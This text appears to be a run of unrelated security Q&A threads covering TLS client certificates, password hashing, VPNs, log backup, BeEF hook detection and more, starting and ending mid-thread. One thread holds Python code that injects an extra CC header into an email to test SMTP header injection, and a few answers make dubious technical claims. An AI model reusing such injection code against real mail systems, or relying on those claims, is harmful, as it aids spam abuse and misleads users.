The name "initialization vector" hints at a repetitive process over a given internal state, the IV being what the state is initialized at. For instance, the MD5 hash function is defined as repeated action of a compression function which takes as input the current state (128 bits) and the next message block (512 bits), and outputs the next state value; at the beginning, the state is initialized to a conventional value which is called "the IV". In that sense, most "salts" used in password processing are not "initialization vectors". But this is a bit of an overinterpretation of the expression.

Still, naming things is mostly a matter of Tradition. A "salt" is a kind of IV which:

is involved in some processing of a password;
should be distinct for each processing instance (it cannot be a fixed conventional value);
only needs uniqueness ("it is not repeated"), not uniform selection among the space of possible salts (although uniform random selection is a good and cheap way to get uniqueness with overwhelming probability, assuming that the salts are long enough).

The particulars (how the salt/IV is exactly inserted and at what point in the algorithm) are a red herring.


How does TLS verify a certificate belongs to a domain? Say I own a domain called Bob.com, and I've sent an API request to Google.com. But instead of supplying a certificate for Bob.com, I send a certificate for Alice.com (which I got from a previous API request from Alice.com to my site). How / at what point in the SSL handshake does this mismatch get identified and the request to connect refused by Google.com? I've been thinking it through and can only think of two possibilities:

1) Google.com checks that the domain of the requester (Bob.com) matches one of the domain names in the certificate presented, and aborts the handshake if these don't match (however, I expect Google.com would only know the IP address of the requester rather than it's domain name)

2) At some point during the handshake (possibly key exchange?) Bob.com will need to perform some action that uses Alice.com's private key - and, as it doesn't have this, the handshake cannot be competed (if this is the case, at what point in the handshake does this action happen?)

Thanks in advance!!

When you perform client certificate authentication, you must posses the private key for the certificate you are sending to server. Private key is used as a part of mutual TLS authentication to sign handshake messages.

If you don't have the right private key, you can't sign TLS handshake messages and client authentication cannot be completed.

If you sign messages with fake private key (which doesn't belong to public key in client certificate), server won't be able to successfully validate the signature against public key you sent along with client certificate.


IP attack by reading/writing data? If I remember correctly there is an ICMP attack whereby you can embed malicious code and it gets read/executed, causing the problem (similar to SQL injection).

Are there any further/more dangerous attacks when the computer handling the packet can write data to the packet, rather than just reading the packet? I can only think of redirecting the packet or spoofing it....

It seems like read-vulnerabilities affect the computer handling the packet whereas write vulnerabilities affect other computers.

I don't know of any such attack.  That doesn't mean no such attack ever existed -- just that nothing pops to mind at the moment.

There are a few others that are related, which you might possibly have been thinking of:

Back in the day, the "ping of death" was a malicious ICMP packet that crashed the recipient computer, but it did not allow execution of malicious code.  Cisco routers were also vulnerable to an ICMP-related denial-of-service vulnerability, but that didn't allow malicious code execution, either.

The closest example I can think of is the SQL Slammer worm.  Slammer was a single-packet worm: all it took to infect a vulnerable machine was to send a single malicious UDP packet.  The worm exploited a vulnerability in MS SQL Server, which accepted packets via UDP and had a buffer overflow vulnerability in the code that parsed this packet.  This vulnerability did allow execution of malicious code -- but it was not over ICMP.

None of these are similar to SQL injection in any way that I can think of.


Is a Pattern Lock any more secure then a typical text password? I've been trying to find a way to secure a webpage that is easy to do (ie gaining access) yet still fairly secure.  So, while a 4 char numeric password would be fairly quick to enter, it wouldnt be very secure, and a 4 char alphanumeric + symbols would take more time to enter in, but potentially be much more secure...

So I started to look into pattern locks.  If you're not sure what they are or you call it something different, see this: http://www.makeuseof.com/tag/which-is-more-secure-a-password-or-a-pattern-lock/

The above article brings up a few good points.  Namely the order of magnitude difference between the possible permutations of the pattern lock and the number of character combinations of a text lock...

So, Is a pattern lock inherently more or less secure then a text password?

My initial thought is that the pattern lock will be more secure since it's not a traditional method of entry, requiring a human to enter the correct pattern versus a program that can just brute force the typed password...  (Unless of course, you can write a program that simulates user entry.  I couldn't figure out how write an app to simulate user input, but that doesn't mean anything...)

I've attached an example that is a work in progress.  Note, it DOES NOT work.  It simply demonstrates what i'm talking about.

http://dck.dx.am/GraphicLock/index.html

EDIT:

Thanks to all for the comments!  I agree with you as far as the complexity of the password vs the pattern.  (especially on mobile when you can see the streak marks!).  In regard to complexity, patterns really cant compete.

My thinking was that it would be almost impossible to brute-force as it requires a person to enter the pattern.  You'd have to really want to gain access to try it that way...

The above is obviously an assumption.  I'm sure there are ways to get a computer to do this if you are determined enough.  I guess that's a question for another forum...

Password is better, to foreseeable future.

Password is now better, because

The Pattern Lock can be good for convenience, and it may be sufficient to thwart attackers who have not seen you draw it. However, the number of combinations is significantly smaller for Pattern Lock than in typical password. Even if you restrict password to use only characters and use 4 letter password, there is over 400000 valid combinations. However, according to this earlier question Combination of smartphone pattern password, the number of combinations of pattern lock is smaller. On the other hand, pattern has more combinations than 4-5 digit pin.

If you use relatively long password and follow good password selection practices it is certainly stronger.

Note: Password/PIN is easier to use as secret for key derivation functions. For this reason, on some systems, like Android, if you intend to use "Encrypt phone/tablet", you MUST use either password or PIN; not pattern. (Therefore, if you care for the security of your data on the device, you often end-up to use high or mediocre entropy password).

Future pattern locks

The current pattern locks are inferior to password, but is this inherently so?
Amount of choice favors passwords. In password there is anyway tens of characters you can choose in each screen. In pattern, you make choice out of quite few possibilities (different directions). Even if you make grid larger, it is hard to make pattern as efficient as password.

One of important benefits of password is that they are representable in fairly universal format, and therefore, they are solution that can be applied in many places, like computer login, smartphone, tablet, web site etc. Especially for remote usable services (like WLAN password, network password, web site password), pattern lock would be inconvenient as pattern lock is largely tied with the input device.


Online SQL Server database for a Business app. Security considerations A business application works with a SQL Server database. A SQL Server 2008 is installed on one of the computers of the local network. Technically this app works OK if the server computer with the SQL Server 2008 database collocated in the datacenter of the hosting provider and the database is reached over the Internet by an IP address of the server.

What are pros and cons of such an approach? What security considerations one should bear in mind when moving database to the Internet?

Exposing a security sensitive server on the internet is never a good idea. It does not really have any advantages but only disadvantages.

Since it has a public IP, everyone can scan your machine for old software. Exploit 0day vulnerabilities, (d)dos it, etc etc.

The best way to go here is to create a VPN or a VLAN such that all services are only accesible from within the VPN/VLAN. All your business apps can than access the database as long as their part of the VPN/VLAN.

Of course the downside is that you have to implement a vpn/vlan which I assume you dont have given the question. But from a security point of view it is the way to go.


Does the VPN provider will have access to my content? I am planning to buy a VPN service just to circumvent the filtering applied by the government. However as I am planning to use OpenVPN on my dd-wrt router, all of my data will pass through this tunnel. My question is that if it is possible for the provider to go through my data. If so, is it also true about the SSL connections like https as well?

A VPN will provide a secure tunnel between the device running the VPN client (your dd-wrt router) and the VPN server (hosted by your VPN provider). All traffic that gets routed through the tunnel will be reasonably secure against monitoring and tampering, but only while its in the tunnel.

On either end of the tunnel, it is still vulnerable. The VPN provider will be able to monitor all of the traffic as it passes in and out of their end of the tunnel, just as your dd-wrt router will be able to monitor the traffic as it passes in and out of its end.

A VPN is only useful if:

You trust the network and/or device running the VPN client
You trust the VPN server
The adversary you wish to protect yourself from is thought to be somewhere between the two

The same goes for HTTPS and anything else that uses SSL/TLS.


Mac OS X terminal prompt displaying foreign hostname (or: What is Stacey's iPhone doing in my Terminal?) I opened my Terminal today and saw this:

StaceysiPhone6s:~ jcz$

Who is Stacey?
Why is she in my Terminal?
What happened?
What should I be worried about?
How do I fix it?

At some point, your network assigned StaceysiPhone6s an IP address. Then, your laptop got that IP address. Your Mac then looked up the DHCP logs to find out who 'owned' that IP and found "StaceysiPhone6s". So, it used that info to set the local hostname value.

Example: https://apple.stackexchange.com/questions/30552/os-x-computer-name-not-matching-what-shows-on-terminal


SMTP Header Injection I'm trying to understand SMTP header injection. I'm using Python's SMTPLIB library to proto-type this vulnerability. Here is my code:

import smtplib

# create variables
server = 'smtp.zoho.com'
port = 587
to = 'recipient@test.com'
user = 'sender@test.com'
passwd = 'pwd'
smtpserver = smtplib.SMTP(server, port)

def mail():
    smtpserver.ehlo()
    smtpserver.starttls()
    smtpserver.ehlo
    smtpserver.login(user, passwd)
    header = 'To:' + to + '\n' + 'From: ' + user + '\ncc:victim@test.com\n' + 'Subject:testing \n'
    msg = header + '\n test 5 \n\n'
    smtpserver.sendmail(user, to, msg)
    print header + 'done!'
    smtpserver.close()

# call mail method
mail()

I've tried using the Zoho and Gmail SMTP server.  The email is successfully sent to the address in the "to" variable, but it is not sent to the "victim@test.com" email address. When I view the message in Gmail or Zoho I do see the "victim@test.com" in the CC field, but it never gets sent to the second email address. I've also tried to inject the Subject field with the same results.

Can someone explain this to me? Is this some filtering done on Gmail/Zoho's end?

Thanks, Johnny_v

Simple case: You do not send the email to victim@test.com.

The headers of the email are not used by the SMTP server.

You add a CC: to the email header but the SMTP server does not read this header.

The SMTP server only sees what you transmit with your line smtpserver.sendmail(user, to, msg).

Basically the communication is as follows (S: server, C: client) (the TLS and authentication part is left out) (parts in brackets [] are comments by me) based on your script:

C: EHLO
S: 220 smtp.zoho.com
C: MAIL FROM: <sender@test.com> [the address user]
S: 250 OK
C: RCPT TO: <recipient@test.com> [the address to]
S: 250 OK
C: DATA [your msg follows]
   To: recipient@test.com
   From: sender@test.com
   cc:victim@test.com
   Subject:testing
    test 5

   .
S: 250 OK
C: QUIT
S: 221 Good Bye

The mail server only respects the part RCPT TO:. Everthing else (between DATA and .) is only data and no scanned/parsed by the SMTP server.

To send the email to someone else you have to add a second command with RCPT TO:. This must be done with another call to smtpserver.sendmail(). As I don't know the library used I cannot tell you if you have to create a second call or if there is a call with a list of recipients.

Note also that you can send the email to someone without adding the recipient to the header (this is used for BCC for example).


Don't encrypt the hard drive, but make it impossible to change things without a password? I recently bought an SSD drive and realized that my CPU (Celeron 1007U - has no AES instructions) cannot really keep up encrypting it and the SSD doesn't have hardware encryption built in. This made me realize that if I want to use all of the horsepower there, I need to give up on encrypting every HDD block.

After a bit of thinking, I realized I could keep my partition kind of "tamper-proof" if it kept integrity data (checksums) on a separate volume that is encrypted - in that case, data would still visible but the attacker wouldn't be able to change it. Excluding the problems related to storing the bootloader, is my thinking correct? Would it actually stand a chance of letting me utilize 500MiB/s on this processor if the SSD supports it? If yes, do you know any Linux projects that would let me do that (filesystems, device mapper plugins or LVM features)?

What you are asking is not achievable for several reasons.

Problem 1: What block size of data would correspond to a single authentication tag?

Block size is smallest for SSD which is 4K. Tags are smaller, 256 bits or so, and assumed to be stored on SSD as well. This leads to write amplification on the side of SSD holding authentication tags, unless your writes are within 512K boundaries (half megabyte). Number comes from the fact that one 4K block can hold 128 tags, so one 4K block full of tags would correspond to 128 data blocks, each 4K in size.
Block size is again 4K but each authentication tag occupies 4K as well. This nullifies write amplification but storage required for tags is same as for data, ratio is 1:1. Terabyte of data comes with a terabyte of authentication tags.
Block size is larger. This leads to less space needed for authentication tags. The larger data block becomes the less space is used for authentication but at same time more data must be processed to compute tags. This leads to an effect similar to write amplification.

Problem 2: Hashing is more computationally expensive than encryption.

Hashing algorithms used in cryptography in the past like SHA1 used to be significantly more expensive in terms of cpb. Modern hashing like SipHash and another russian I cannot name from memory are becoming very close to stream ciphers but are still above them. They will not become cheaper than ciphers.
Block ciphers could be used for authentication. LRW mode could be used for example, but in that scheme each data block goes through two block encryption operations. So it is not going to be "cheaper than encryption."
Stream ciphers cannot be used for authentication.


Automatically reset api key if sent via unsecured HTTP I have an API where clients authenticate via Http basic auth (account:apikey). Users can generate (and revoke) many apikeys for the same account.

I currently only accept HTTPS requests, but I am toying with the idea of enabling HTTP and, upon successful authentication of account:apikey, automatically disable that apikey on the basis that it was sent via an unencrypted channel.

Can this scheme improve the security of the authentication in my Api?

I don't think this would improve the security at all. If your API endpoint does not have port 80/tcp open, nobody will ever be able to start a connection, let alone send API keys to it.

With a closed 80/tcp port, as soon as anyone sends a SYN packet to it, the endpoint will answer with a RST, the handshake never completes, and no data is sent.

If you have the "expire from HTTP" function at the endpoint, you will have to open another port, listen to authentication, verify the login details are valid, and revoke them. Until the user discovers it accidentally sent data from HTTP, it will frustrate him and forces him to re-login, re-create a key, alter all config files, and restart programming. Without that, and with port 80 closed, the user tries to send data, gets a connection refused error, changes port and happily keeps programming.


Keyed-hashing a password with a hash of the password + salt as the key, is it safe? I was looking at our authentication system which hashes passwords differently than I was taught. The salt is a constant byte array and it uses the password + the salt as a key for the password hashing algorithm.

public byte[] GetHash (string password)
{
    var hmac = KeyedHashAlgorithm.Create("HMACSHA512");
    hmac.Key = HashAlgorithm.Create("SHA512").ComputeHash(this.salt + password);
    return hmac.ComputeHash(password);
}

I removed the conversion to byte arrays but simply put,

var hash = keyedHash(hash(salt+password), password);

Is this a secure way of hashing password? I was always told that salt should be generated each time a password is hashed and stored along with the password.

This hashing method is a handmade construction, which, like almost all handmade constructions, is weak.

In this case, it commits the two cardinal sins of password hashing:

The hashing function allows for parallel attacks.
The hashing function is way too fast.

Here, if two users have the same password, then they end with the same hash. This means that if the attacker has a thousand password hashes to work with (e.g. he dumped the corresponding database table through some SQL injection), then he can hash a potential password and look up the hash value in the table: the attacker attacks 1000 passwords simultaneously, for roughly the same cost of attacking one. This is very bad. Salts are meant to avoid that, but this works only if each salt is used for one hashed password, not for all the hashed passwords on a given server.

As for speed: a basic PC will go through several millions of SHA-512 instances per second. Not many user-chosen passwords resist for a long time when the attacker can try millions per second...

@paj28's suggestion is somewhat better, however not as optimal as could be wished for. Using a hash of the username concatenated with a server-global value (but distinct from server to server) ensures some sort of worldwide uniqueness; however, if a user changes his password, then he will use the same "salt" (since this is on the same server, and the user did not switch names, just passwords). The attacker who could get the hashes of the old and the new password will still be able to attack both in parallel. This is better than the previous method, but still not perfect.

Also, the speed issue remains, and it is serious enough to warrant anathema on this proposal.

Read this answer to learn how password should be hashed, and what theoretical concepts are at work here. The short answer is: use bcrypt.


Storing Auth token on Android device My server is sending me access and a refresh token while logging in. Should I store them in the shared preferences of android by encrypting it? I want to know the best practice for storing these tokens as storing directly into preferences is easily hackable.

Android supports the beautiful concept of Application Sandbox, such that all the application run as a unique user and in its own sandbox. The local data storage in a non-rooted device for non-debuggable applications is normally not accessible. However, if the device is rooted the concept of application sandbox collapses and the installed application can run as a "root" user and can, therefore, access the data stored by any other application in their private directory(/data/data/package-name)

Storing the token as plaintext in the local data storage(SharedPreferences) is not a secure option since the same can be easily accessed from a non-rooted device. It is recommended that the token should be encrypted using secure encryption algorithm and secure implementation in the local data storage.

Use secure encryption algorithm such as AES-GCM-256 or ChaCha20-Poly1305 etc.
Use PBKDF2 for key derivation.
If required store the encryption key in the Android Keystores.


Can Avast check my WI-FI password for strength? I've been greeted by this popup this morning:

Can Avast actually check my WI-FI password for strength? Or is it just "marketing scare" so that I upgrade to the paid version instead of using the free version? If it's a real notification message, how does it do that?

Windows stores the Wi-Fi password in reversible format. A simple Google query for "how does Windows store Wi-Fi passwords" returns this article, which doesn't answer the question at all, but shows that Windows can at least display the original password.

That means that your Anti-Virus Software, which runs with elevated rights, can read out your Wi-Fi password and then run some checks against it.

For example, if your Wi-Fi password were zxcvbnm12345, it may detect the pattern behind and report it as weak.


2 Step login: Memorable word reset via Email OR Security Questions? Background

We have a system in place which requires employees to login using a 2 step verification process ( password & Username) + (a defined number of characters from a chosen Memorable word). If the user fails to provide memorable word information he is prompted to provide answers to some security questions, for example his/her National insurance number before being able to reset their memorable word.

My question is:

Is there any advantages to the above approach compared to sending a reset email to the user?

First, I'd like to point out this is not considered a 2-step verification process because all of the components you suggest are "something you know."  In order to have 2-step verification, you must have "something you are" (e.g. biometrics) or "something you have" (e.g. a security key or Google Authenticator token).  See Wikipedia under "Components" for Two-Factor Authentication.

The only advantage to this process would be that if the user's email is compromised, this may prevent an attacker from being able to reset their password.  However, security questions are often predictable and one can research the target to find the answers; such as birthday's and mother's maiden names which are often matters of public record.

Thus, while it does have some minimal security advantages, a system like this shouldn't be construed to be "two factor authentication" and instead is just "additional security questions" of questionable value.  By allowing password resets based on security questions which may be researched by an attacker, you actually open up a separate attack vector/vulnerability as well.


Is it safer to ssh as a privileged user than to ssh and sudo? I came across this old paper, discussing the possibility of password length information being disclosed when usin SSH: Timing Analysis of Keystrokes and Timing Attacks on SSH.  The paper has been discussed here before .

This made me wonder: should entering passwords over SSH generally be avoided?  If that's the case, wouldn't it be preferable to connect as a privileged user (using a ssh key) than to connect as an unprivileged user and then successively sudo into the root account?  Using the former method, no password would be transfered, while with the latter, it might be possible to guess the password.  Even if ssh is configured to allow password-less login only, this could be used to read/send mails or access whatever other service is available to the user.

Is this sound reasoning?  Did I get a premise wrong somewhere?

It is a matter of risk assessment.

On the one hand you have a speculative article where you base ephemeral information on some vague timings.

On the other hand you have the capacity to connect to ssh as a user (ideally using ssh keys), then to do a sudo (possibly without password, it depends on your specific case). You are in a highly standard environment, with best practices in place.
Even if you ssh with a password, then type a password for sudo - you are in the realms of the best practices above.

Email compromission via timing attacks is IMHO not realistic (what you get is, best case, some lengths of "stuff". With luck and specific environments you may correlate this length to passwords).


Is a company responsible for a spam which mentions it? Let's say I receive a spam which mentions a fictive company printmycatphotos.com.

If I follow the link, upload files, and finalize the transaction, clearly printmycatphotos.com has made some profit. But is it the only one which just made profit ? Has somebody at printmycatphotos.com necessarily made the decision to use spam (whether they name it spam internally or not) as a way to find new customers? The URL in this spam doesn't link directly to printmycatphotos.com, but through wyclic.com. The reply-to is also not directly related to the company.

This largely depends on the legal system in the country the complaint is filed, so the usual IANAL disclaimer applies. In general this kind of thing is an investigative matter. If the company's site is mentioned in spam, an investigator will assume that the site is involved or responsible. Further investigation will likely involve looking for money trails to known spammers, rogue advertising networks, malware factories, etc. However, if a jury can be convinced that the company was aware of and directly involved in the spam, it may be possible to convict them under a conspiracy charge.


Linux log files to back up and review for security Good morning/afternoon/evening everyone, I am looking into what files I should consistently back up externally from my machine to be able to monitor for any unusual activity. I would look at the files regularly but also if my machine is in a bad state when I come in, I would like to be able to look at the backed-up logs and determine any system intrusions/logins/failed logins, etc (yes this is "if" the attacker did not modify the files to be misleading themselves). I also chose to monitor cron-tasks (I have backup scripts etc) to ensure nothing went wrong there.

As my list targets Linux specifically, maybe this post would be more beneficial if other OS's were included and the Title changed to just "Log files to backup and review for security". If someone would like me to I will go ahead and accomplish that in order to have this post better suit the community at large.

So far the list I have accumulated is

/var/log/audit

Monitor default audit rules/custom audit rules

/var/log/messages

Not entirely sure if I would be able to glean any intrusions/modification from this but this would give me an idea of the system state on start-up

/var/log/secure & /var/log/wtmp

Authentication attempts/fails

/var/log/cron

Monitors cron-jobs

"/var/log/httpd/ssl_error_log*" & "/var/log/httpd/ssl_access_log*"

Access and error log for webpage (not sure if this would help holding onto these...but it could give an insight if a random IP kept hitting my webpage. Wouldn't prove anything but might warn?)

What other files does the security community recommend? Of course there is always the default (entire /var/log directory answer)...but obviously this will capture a lot of data that is not needed. (nor wanted...I want to keep the essentials (size constraints, not an Xorg debugger, etc).

You should back up all files, not just ones you think look important.

Don't back up individual files either. Instead, have your syslog daemon send a copy remotely to your backup server in real time. Most syslog daemons support this, and the good ones even support sending it over an encrypted channel. If that is not supported, you can always set up an encrypted tunnel with stunnel, or transmit it over a VPN's virtual interface to the target. It's easy to do with various sysloggers like rsyslog, journald, or syslog-ng.


Can Restarting An Infected Computer Make It Worse? I seem to remember that rebooting a potentially infected Windows PC before removing the malware may allow it to take advantage of early boot up states that may be vulnerable if the security measures load after the core, thereby deepening its infection level, or making it more difficult to remove. I am not sure if this pertains to a rootkit in particular or not... it may have been describing malware transforming into what is known as a rootkit.

QUESTION: Is this true and does it apply to Android and Windows 7/8/10? How about Linux and Mac?

A FEW QUICK THOUGHTS: On the other hand, I know that a lot of incident response guidelines suggest disconnecting the network cable AND/OR shutsown the computer after discovering or suspecting a malware infections, which is a contradiction to the previous point. In an enterprise environment, technicians may wish to keep the computer alive to preserve forensic evidence, but I also know that most techs will just shut it down and take it back to the shop for the scan. Also of note, is that the most thorough scanning method using a bootable CD would require a restart to load as well.

To be clear, this question is not about incident response, but the capabilities of malware and the consequences of restarting the computer after infection. Incident response guidelines may be offered in addition  to your answer where appropriate.

It depends on the type of malware.

If it is ransomeware shut it down as fast as you can preferably by hard reset this way it may not have been able to encrypt some files and you can grab any files you need off of the hard drive.

If it is a rootkit, shutting down is a horrible idea because the rootkit has set hooks that allows it to climb through rings on the next reboot. Theoretically a rootkit cannot reach ring0 (kernel level) without a restart. (Contrary to some comments above. You'd have to be crazy to try to modify a kernel while it is in use.)

Use how the malware works to determine if it is safe to power off/reboot.


how to write a snort rule to alert traffic that does not find any matched rules Snort in IDS mode:

If there is some traffic that does NOT find any matched rule against all existing Snort rules, how would you write a bottom rule to alert this traffic?

I'm sorry, but Snort is not really designed for that.  It sounds like you're wanting something more like a firewall.

Snort is an Intrusion Detection System, whose job is to highlight on suspicious or malicious traffic that it observes in order to inform those who monitor the network to, "Look over here!"  Alerting on every single piece of traffic that passes by is pretty much the opposite of what Snort is supposed to do.

There are other solutions that would be better suited for what you're asking.

If you're looking for metadata only, a firewall with the ability to log would be perfect.  You can simply put an "allow any -> any log" rule at the bottom and then you'll have a log file with all of the metadata for each connection.
If you're wanting to capture the actual traffic that is observed regardless of whether it fires a rule or not, you'd probably want to set up a packet capture utility with the ability to rotate log files.  Many homegrown security devices are built this way so that security researchers can examine traffic that their IDS may have missed.  For high bandwidth connections, people use something like netsniff-ng.  If you're looking for something that not only captures the traffic but also gives you an interface to use to examine and download pcap, check out http://molo.ch/ which is free.


Is there an advantage to using hardware 2FA over SMS when both are available? A bank offers two factor authentication in two forms. The first is SMS to a registered phone number (registration done at bank branch). The second is a provided hardware token.

Both options are provided for every login (you don't have a choice), upon successful authentication using password.

What benefits (if any) are there of a valid user consistently choosing the hardware token option at the login screen?
Note that an attacker with the correct password can always trigger the SMS option.

Note to comments: I do know that SMS is "weaker" than a hardware token for 2FA implementation.

SMS is not as intrinsically secure as a locally-run algorithm like HOTP; there is always the possibility of a compromise in the network.  For most people, though, this isn't within their threat model.

Personally, I don't use SMS as a second factor, because it isn't in my setup.  I've long used Google Voice, and now use Google Fi, and so my text messages can also be accessed through my Google account.  This no longer makes it a "something you have", but just another "something you know".

Hardware-based tokens have an additional protection over phone-based tokens (even HOTP/TOTP apps) because they're operating on much simpler hardware: it's much more difficult to compromise a Yubikey than an Android phone.


Turing-completeness impact on system security I always find in many papers discussing different kind of system security subject that the authors always trying to highlight the danger of some vulnerabilities by assuming an attacker, by exploiting them, can achieve Turing completeness.
What is Turing completeness and what is the danger behind it if achieved by an attacker?

An exploit that provides a turing-complete execution environment allows the attacker to run any algorithm they wish. They will not be limited by the number of available instructions.

A system of data manipulation rules (script, program, instruction set, etc) is considered turing-complete if it can be used to simulate a Turing machine. Turing equivalence states that two turing-complete constructs are identical in their capabilities. In other words, if someone can execute turing-complete code on a vulnerable computer, they can compute anything, barring resource limitations. The Church-Turing thesis conjectures that a Turing machine can compute any value that can also be computed by an algorithm. From the Wikipedia article:

  To show that something is Turing complete, it is enough to show that it can be used to simulate some Turing complete system. For example, an imperative language is Turing complete if it has conditional branching (e.g., "if" and "goto" statements, or a "branch if zero" instruction; see one instruction set computer) and the ability to change an arbitrary amount of memory (e.g., the ability to maintain an arbitrary number of variables). Since this is almost always the case, most if not all imperative languages are Turing complete if the limitations of finite memory are ignored.

This is particularly relevant in the case of ROP, an exploitation technique where existing code is executed out-of-order. A sufficiently complex vulnerable program can make for turing-complete ROP, which means that the attacker is not limited to only certain types of computation.

So, why does something as abstract as computation matter, rather than just the capabilities of the exploited program? Imagine if you had access to a shell, running as root. Obviously root can do pretty much everything, but what if the only things you can do on the shell is run echo, id, and cd? No if statements, no mv, no sed... You'd be pretty limited in what you can do. That scenario would not be turing-complete because you do not have enough commands to make it turing-complete. A turing-complete ROP chain is a similar concept, but rather than utilizing shell commands, it utilizes machine code. If you can only run a few instructions, you can't do much.


SHA256 for IV for AES-256 CBC? When making an IV for AES-256 CBC mode the IV should be random and shouldn't be able to be guessed.

If I were to use the rand() function in C, seeded with time(NULL) to generate sim random numbers which would then be put through sha256, would that be a secure IV or would that still be vulnerable as the seed was the time?

I am under the impression that the IV is only there so that the same data encrypted twice with the same key would come out differently because of the IV.

Given that rand() is only a pseudo-random function and thus kind of predictable and that time() is actually very predictable (i.e. only a few values within a specific time frame) and that the predictability of the output of SHA-256 is the same as the predictability of its input it should be clear that essentially the result is about as predictable as the original rand(), provided that the attacker knows how your seed was constructed.


How did I have two different public keys for one e-mail address I created public/private keypair with Mailvelope Chrome plugin. I don't fully remember the details but I exported the public key and sent it to MIT keyserver. After few weeks, I realized that my public key on MIT server and the public key on Mailvelope are different. I tried to encrypt an e-mail with both public keys and sent to myself, Mailvelope successfully decrypted both of them. So, my questions are:

Why the public key on MIT server is different. Was it my mistake or there is another process on MIT server?
How my private key could be able do decrypt two different e-mails which are encrypted with two different public keys?

This assumes that the keys are in fact different. As the comments did already point out, there are pitfalls when comparing keys manually that can lead to the false conclusion they'd be different. Those include:

The two keys are differently encoded but hold the same information
You compare different hash types of the same key

Generally speaking, you can have a (finite, but for all practical considerations) unlimited number of key pairs. If Mailvelope instead of exporting your public key created a new key pair and exported that public key, you can decrypt both messages as you hold both private keys.

There also is a feature (I think Mailvelope does not support it) that is called sub keys, which are regular key pairs associated with your main key pair.


When credit card tokens are leaked / stolen, what can the attacker do with them? I'm implementing an online payment system relying on an external payment processor handling all credit card entry. My payment processor supports recurring payments via "credit card tokens". We only see and store these tokens (not the actual card numbers), which we then include in API requests sent to the processor to charge another month's worth of subscription.

My questions:

What's the best way to store these tokens?
What if my system is compromised and someone get their hands on the tokens?

My payment processor supports recurring payments via "credit card tokens".

This means that when someone makes a purchase, either you or the customer will send their credit card to your processor, and the processor will hand you a token back.  Unlike a credit card, that token cannot be taken somewhere else and used; it's only valid between you and your processor to represent this one customer.  You do not store their credit card; you forget all about it, and use the token instead.

The processor holds on to the credit card number, and whenever you say "Charge this token," they use the card number to effect the charge.

The advantage of this system is that you are not responsible for securing PAN ("Primary Account Number") data, which simplifies your security and audit concerns.  If you arrange for your customers to hand their card numbers directly to the processor, without handing them to you first, then you can greatly reduce your PCI scope and obligations.

  What's the best way to store these tokens?

Usually, in a database.  They don't require the same level of encryption and protection that you would have to use for PAN data, if that's what you're concerned about.

  What if my system is compromised and someone get their hands on the tokens?

If someone steals your entire database of tokens, they can't use them to do anything.  They're not good for anything except in the context of you sending them to your processor using your credentials, which will get noticed very quickly when customers see they're double billed.  (And the only way to monetize that is if your "membership" site ships something valuable, like cases of wine, out to customers, and the attacker could intercept the shipment).


Preventing Browser from BeEF Exploitation BeEF is a great browser-based exploitation  tool. But in some cases, people unknowingly get hooked due to beef when its hook.js is kept in an invisible iframe of an HTML source.
So how can we detect that our browser is actually hooked by BeEF communication server? If we have been hooked, then what are the measures to remove the hook?
Moreover, how could a person's browser, infected with BeEF, reverse and find its communication server (The place where the outgoing traffic is sent, like server:8080/ui/panel )?

There are Yara rules submitted by SANS ISC to detect BeEF, and these could be repurposed by yarashop for the network layer as a early-warning detection system. The author shows how to utilize Volatility to read into a memory capture and look for BeEF-related signatures and communications -- https://isc.sans.edu/diary/When+Hunting+BeEF%2C+Yara+rules+%28Part+2%29/20505

In order to remove a Javascript hook, such as BeEF, you would typically only need to clear reopening pages/tabs, history, and cache before restarting all browser processes. However, in some persistent BeEF scenarios, you will also need to consider other offline browser stores, such as HTML5 offline cache.

You are right to want to look for BeEF, but you will also want to dig a little deeper. It is easy to obfuscate Javascript and can be difficult to modify your detectors to catch these obfuscations. Other Javascript-hooking packages, such as XSSF, Scanbox.js, or the metasploit-framework's auxiliary/gather/browser_info module can be utilized instead of BeEF.

Emerging Threats, recently acquired by Proofpoint, has a set of Snort rules -- https://rules.emergingthreats.net/open/snort-2.9.0/rules/ -- many of which cover BeEF, XSS, Scanbox, et al. You will especially want to check out the emerging-trojan.rules and emerging-web_client.rules files. There are specific entries for BeEF and Scanbox, as well as generic ones to catch active XSS from the client (i.e., browser) perspective.

Here are two articles that discuss how threat communitiies are converging on these Javascript-hooking technologies -- https://www.helpnetsecurity.com/2016/04/28/attackers-use-open-source/
-- http://www.securityweek.com/attackers-increasingly-abuse-open-source-security-tools


DUKPT - Sample data other then in X9.24 I wrote some code that does PIN encryption/decryption according to rules in X9.24.
It works great with examples provided in ANSI doc, but doesn't work with actual device from the client.

Where can I find more sample data to run my code through, to make sure that my code is correct?

Is it possible that some device manufacturers do not follow ANSI to a T?

Well, it's always possible for a device manufacturer to not follow the specification.  There was a question on Stackoverflow asking how to implement the standard ( https://stackoverflow.com/questions/6071474/how-to-implement-ans-x9-24-dukpt-using-java ) and they pointed to jPos: http://www.jpos.org/.  It appears to contain test data.


X509Certificate - How to set validation Policies? I have an X509Certificate (say Certificate-A) for signing purpose. While validating this certificate, I have to check its path with Intermediate & Root certificate which I have implemented fully.

There is a custom extension in this Certificate-A which has a another signature as its value. While validating this Certificate-A, I am taking the signature from it's custom extension & do verify it with another Certificate-B that produced it. This all is being done well.

Now is there a way to add some Policy to Certificate-A by which a third party validator comes to know by reading this Policy (ONLY) that it has to take signature from Certificate-A & verify with Certificate-B?

Note- Certificate-A & B would be already available to third party validator (Certificate List in a PKCS#7 Signature).

By definition, "custom extensions" are custom: they are understood only by implementations which have been made aware of them; all other implementations consider such extensions as "unknown" and ignore them (unless the extension is marked "critical", in which case the implementations which do not recognize the extension must reject the complete certificate).

There is no standard method to encode within a certificate instructions about the processing of an unknown extension. The standard behaviour (ignore or reject, depending on the "critical" flag) is all you will get. Strangely enough, people who design X.509 have not (yet) made the validation algorithm Turing-equivalent (although no doubt some have been tempted to).

A consequence is that non-critical custom extensions are mostly comments (since they will be ignored by third-party implementations), while critical custom extensions make the certificates application-specific (since third-party implementations will refuse to process them).


Rembering password on client (not database) I am trying to implement the capability for my program (C++) to remember a user/password combination, so the user does not need to type it in again.

Is there a secure way for my program to store this? Preferably cross platform as well.

Is there a secure way for my program to store this? Preferably cross platform as well.

Secure against what kind of attack?

Against a remote attacker with no access to the machine: probably simply saving it as a file will do it, although in practice you will probably do it less obvious (see next point).
